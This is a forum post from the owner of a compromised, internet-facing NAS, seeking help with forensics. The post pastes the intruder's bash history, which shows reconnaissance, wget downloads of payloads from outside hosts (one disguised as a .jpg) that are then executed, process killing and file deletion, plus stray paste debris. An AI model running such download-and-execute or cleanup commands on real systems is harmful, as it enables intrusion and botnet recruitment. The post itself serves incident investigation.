I suspect a weak password on my behalf. The alarmnas was internet facing and I could have used a much longer password. I could be wrong, but I'm also not sure if I could have used an SSH key. If possible, I'll be using one once I get things setup again.
Here are some relevant snippets from the bash log. Tell me what else I can provide to give you more info. I haven't wiped the drive yet and am not in a hurry to do so. Whatever recon we can do on it would be a good exercise for me. I did discover a simple IRC bot not so well hidden in the home directory.
$this->bbcode_second_pass_quote('', 'w')
uname -a
cat /etc/hosts
w
ps -x
wget
cd /usr
mkdir news
cd news
pwd
wget
http://download.fioriginal.ro/cs/hldsupdatetool.bincat /proc/cpuinfo
chmod +x hldsupdatetool.bin
./hldsupdatetool.bin
cd ..
rm -rf news/
perl
w
ls
ifconfig
uname -a
cat /etc/issue
make
yum
apt-get
exit
cd /usr/sbin
w
wget
http://download.microsoft.com/download/ ... W2Ksp3.exerm -rf W2Ksp3.exe
wget
http://init.allalla.com/demon.jpgtar -xzvf demon.jpg
cd .rc
./setup
/sbin/ifconfig
kill -9 -1
w
hsitory
history
cat /proc/cpuinfo
ls
clear
ssh
root@192.168.1.2clear
ping 192.168.1.2
clear
exit
top
stop
htop
uiry into the Cause of the Wealth of Nations (1776) and The Theory of Moral Sentiments (1759)
sudo aptitude install netatalk
pacman -S install netatalk
pacman -Sy netatalk dbus avahie-daemon
pacman -Sy netatalk dbus avahi-daemon
pacman -Sy netatalk dbus avahi-daemon
pacman help
pacman -h
pacman -U
pacman --upgrade
pacman -h
pacman -Sy netatalk dbus avahi
adduser timemachine
cd /etc
ls
nano afp.conf
nano afp.conf
pacman restart netstat
pacman -h
restart netstat
restart netatalk
cd
/etc/init.d/netatalk restart
free -m
ifconfig
ifconfig
ifconfig
ps axu
uname -a
w
...